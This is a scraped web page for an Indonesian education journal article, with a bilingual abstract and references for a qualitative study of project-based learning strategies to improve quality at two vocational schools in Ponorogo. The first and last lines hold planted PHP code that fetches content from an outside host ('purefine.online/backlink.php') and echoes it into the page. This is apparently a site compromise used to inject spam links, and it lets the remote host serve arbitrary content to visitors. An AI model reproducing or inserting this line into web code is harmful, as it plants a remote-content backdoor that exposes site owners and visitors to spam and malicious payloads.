$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Strategi Pengupayaan Mutu Sekolah Pembelajaran Berbasis Proyek | Karindasari | JAMP : Jurnal Administrasi dan Manajemen Pendidikan

Strategi Pengupayaan Mutu Sekolah Pembelajaran Berbasis Proyek

Deliamanda Nindritiasa Karindasari, Erny Roesminingsih, Karwanto Karwanto

Abstract


Abstract: Strategy in improving school quality using project based learning (Project Based Learning) aims to determine the strategies used by schools in project-based learning. This research method is qualitative with multi case study. The results of this study the strategies of SMK PGRI 2 include (1) increasing teacher professionalism (2) improving the quality of students (3) Being able to meet the needs of DU/DI. While the strategies of SMKN 1 Jenangan Ponorogo are (1) increasing the absorption of graduates in DU/DI and the world of work (2) developing the potential of students and education staff (3) developing soft skills and hard skills of students.2 and SMKN 1 Ponorogo schools in the absorption of graduate work received by DU/DI.

 

Keywords: Strategy; Quality; School Learning; Project Based (Project Based Learning)

 

Abstrak: Strategi dalam pengupayaan mutu sekolah menggunakan pembelajaran berbasis proyek (Project Based Learning) bertujuan untuk mengetahui strategi yang di gunakan sekolah dalam pembelajaran berbasis proyek. Metode penelitian ini adalah kualitatif dengan studi multi kasus. Hasil penelitian ini strategi dari SMK PGRI 2 meliputi (1) meningkatkan profesionalisme guru (2) meninggkatkan kualitas peserta didik (3) Mampu memenuhi kebutuhan DU/DI. Sedangkan strategi SMKN 1 Jenangan Ponorogo yaitu (1) Meningkatkan keterserapan lulusan di DU/DI dan dunia kerja (2) mengembangkan potensi peserta didik dan tenaga kependidikan (3) mengembangkan soft skills dan hard skills peserta didik.

 

Kata kunci: Strategi; Mutu; Sekolah Pembelajaran; Berbasis Proyek (Project Based Learning)



Full Text:

PDF

References


Asan A, Haliloglu.Z., 2005. Implementing Project Based Learning In Computer Classroom. Turk. Online J. Educ. Technol. Volume 4.

Bagheri, M., Ali, W.Z.W., Abdullah, M.C.B., Daud, S.M., 2013. Effects of Project-based Learning Strategy on Self-directed Learning Skills of Educational Technology Students. Contemp. Educ. Technol. 4. https://doi.org/10.30935/cedtech/6089

Cheong Cheng, Y., 2003. Quality assurance in education: internal, interface, and future. Qual. Assur. Educ. 11, 202–213. https://doi.org/10.1108/09684880310501386

Djamarah, S.B., 2000. Guru dan Anak Didik dalam Interaksi Edukatif. Rineka Cipt, Jakarta.

Domblesky, J.P., 2009. Project Assisted Learning in Engineering-A Manufacturing. Dep. Mech. Eng. Marquett.

Jagantara, I.M.W., Adnyana, P.B., 2014. Pengaruh Model Pembelajaran Berbasis Proyek (Project Based Learning) Terhadap Hasil Belajar Biologi di Tinjau Dari Gaya Belajar Siswa SMA 4, 13.

Khamdi, W., 2007. Pembelajaran Berbasis Proyek (online). URL http://www. lubisgrafura.com.

Maritz, A., de Waal, A., Buse, S., Herstatt, C., Lassen, A., Maclachlan, R., 2014. Innovation education programs: toward a conceptual framework. Eur. J. Innov. Manag. 17, 166–182. https://doi.org/10.1108/EJIM-06-2013-0051

Mutohar, P.M., 2013. Manajemen Mutu Sekolah: Strategi Peningkatan Mutu dan Daya Saing Lembaga Pendidikan Islam. Ar-Ruzz Media, Yogyakarta.

Nasution, A., 2019. Peran Kepala Sekolah Dalam Menjalin Kerjasama Dengan Dunia Usaha Dunia dan Industri Untuk Meningkatkan Mutu Sekolah Kejuruan. Tesis Universitas Muhammadiyah Malang.

Panitz, 2000. Comparing Traditional Teaching and Colaborative Learning. Journal of Educational Psychology.

Purnawan, Y., 2007. Pengenalan PBL (Pembelajaran Berbasis Proyek) (online). URL https://yudipurnawan.wordpress.com

Ramadhani, S.F.B., Arifin, I., Sobri, A.Y., 2018. Strategi Premituf Menumbuhkan Kedisiplinan Pegawai Kantor Perpustakaan Dan Arsip pemerintah. J. Adm. Dan Manaj. Pendidik. 1, 16–21. https://doi.org/10.17977/um027v1i12018p16

Sugiyono, 2007. Metode Penelitian Kuantitatif Kualitatif dan R & D. Alfabeta, Bandung.

Suhardan, D., 2010. Supervisi Profesional (Layanan dalam Meningkatkan Mutu Pengajaran di Era Otonomi Daerah). Alfabeta., Bandung.

Suryati, dkk, 2008. Model-Model Pembelajaran Inovatif. Univ. Negeri Surabaya.

Tinenti, Y.R., 2018. Model Pembelajaran Berbasis Proyek (PBP) dan Penerapanya dalam Proses Pembelajaran di Kelas. CV Budi Utama.

Ulfatin, N., 2015. Metode Penelitian Kualitatif di Bidang Pendidikan: Teori Dan Aplikasinya. Media Nusa Creative, Malang.

Wulandari, F.E., 2016. Pengaruh Pembelajaran Berbasis Proyek untuk Melatihkan Keterampilan proses Mahasiswa 5, 8.

Zahro, A.M., Sobri, A.Y., Nurabadi, A., 2018. Kepemimpinan Perubahan Kepala Sekolah Dalam Peningkatan Mutu Pendidikan. J. Adm. Dan Manaj. Pendidik. 1, 358–363. https://doi.org/10.17977/um027v1i32018p358




DOI: http://dx.doi.org/10.17977/um027v5i42022p285

Refbacks

  • There are currently no refbacks.


Copyright (c) 2022 Deliamanda Nindritiasa Karindasari, Erny Roesminingsih, Karwanto Karwanto

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

View My Stats

 

 

  

 


This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------